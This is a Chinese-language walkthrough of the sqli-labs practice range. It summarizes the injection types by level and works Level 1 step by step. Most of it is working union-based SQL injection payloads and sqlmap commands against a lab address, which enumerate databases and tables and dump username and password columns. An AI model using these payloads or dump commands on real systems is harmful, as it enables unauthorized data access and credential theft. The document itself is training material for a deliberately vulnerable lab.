1、sqli-labs靶场搭建:参考:
sql-labs靶场环境搭建(手把手教你如何搭建)_sqlilabs靶场-CSDN博客
2、开始打靶
综合概述:
1-4、11-14:显注(union)
5-10、15-16:盲注
17-22:报错注入
23:过滤注释
24:二次注入
25-28a:过滤+双写绕过
29-31:http参数污染
32-37:宽字节注入
38-40:堆叠注入
第一关:
显注--union
1、不考虑工具sqlmap,手动注入
使用burp拦截流量,将流量进行主动地扫描,发现在id=1处存在漏洞。
#直接在URL处进行判断,查看输出的值是几列,如果报错就是超过了列数,没报错就是在范围内 ?id=1'order by 3 --+ 未报错
?id=1'order by 4 --+ 报错,说明只有三列
#获取当前系统的数据库名称以及数据库版本号
?id=-1'union select 1,database(),version()--+
获取所有的数据库,使用函数group_concat(column_name)将返回的结果,到一行显示 http://10.1.70.192:32769/Less-1/?id=1' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata --+
#获取yanhuo数据库里面所有的数据库表格
http://10.1.70.192:32769/Less-1/?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='yanhuo'--+
#获取li表格里面的信息 http://10.1.70.192:32769/Less-1/?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='li'--+
#获取li表格里面的信息 http://10.1.70.192:32769/Less-1/?id=-1' union select 1,2,group_concat(username, '|', password) from yanhuo.li--+
2、使用工具sqlmap
#打开命令行,使用sqlmap工具:会出来6个数据库(安装好以后是只有5个,但是我们有新创建了一个)
sqlmap -u "http://10.1.70.192:32769/Less-1/?id=1" -p id --dbs
#如果提示5个数据库,表示之前进行过测试,本地有了缓存,使用参数–flush-session刷新即可 sqlmap -u "http://10.1.70.192:32769/Less-1/?id=1" -p id --dbs –flush-session
#检索yanhuo数据库里面的所有信息
sqlmap -u "http://10.1.70.192:32769/Less-1/?id=1" -p id -D yanhuo --tables
#检索li表格里面的所有数据结构
sqlmap -u "http://10.1.70.192:32769/Less-1/?id=1" -p id -D yanhuo -T li --columns
#将li表格里面的数据罗列出来
sqlmap -u "http://10.1.70.192:32769/Less-1/?id=1" -p id -D yanhuo -T li --dump